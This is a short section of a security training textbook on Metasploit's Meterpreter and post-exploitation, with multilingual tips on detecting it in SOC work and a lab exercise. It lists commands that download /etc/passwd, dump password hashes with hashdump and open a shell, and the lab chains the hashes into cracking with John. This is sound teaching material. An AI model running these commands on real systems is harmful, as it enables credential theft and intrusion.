23. Exploitation with Metasploit
23.5 Meterpreter and Post-Exploitation
For many exploits you can choose the Meterpreter payload – a powerful shell that runs in memory and gives friendly commands. (For the vsftpd backdoor you get a plain shell; use sessions -u 1 to try upgrading it to Meterpreter, or pick a module that supports it.)
meterpreter > sysinfo # OS, hostname, architecture
meterpreter > getuid # which user am I
meterpreter > pwd / ls / cd # move around the filesystem
meterpreter > download /etc/passwd # copy a file to Kali
meterpreter > upload tool.sh /tmp/ # copy a file to the target
meterpreter > hashdump # dump password hashes (feeds Chapter 22)
meterpreter > shell # drop to a normal OS shell
meterpreter > help # full command list
Post-exploitation is what an attacker does after access: gather information, dump hashes, look for other machines. Defensively, this is what you must be able to detect and prevent – it is the whole point of Part 11 (SOC and incident response).
Ravindra Bagale's Tip
Meterpreter runs in memory and does not leave a file on disk, so it is hard for antivirus to detect. But it is visible on the network: an unusual outbound connection. This is the lesson for SOC work – look at the network and the logs, not just the disk.
Ravindra Bagale's Tip – मराठी
Meterpreter memory मध्ये चालतो, disk वर file ठेवत नाही – म्हणून antivirus ला तो detect करणे कठीण जाते. पण network मध्ये तो दिसतो: unusual outbound connection. SOC मध्ये हेच शिकायचे आहे – disk पेक्षा network आणि logs बघा.
Ravindra Bagale's Tip – हिंदी
Meterpreter memory में चलता है, disk पर file नहीं छोड़ता – इसलिए antivirus के लिए उसे detect करना मुश्किल होता है. पर network में वह दिखता है: unusual outbound connection. SOC में यही सीखना है – disk से ज़्यादा network और logs देखो.
Lab
On a module that supports Meterpreter (or after upgrading the session), run sysinfo, getuid and hashdump. Take the dumped hashes and crack them with John from Chapter 22 – see how the tools chain together.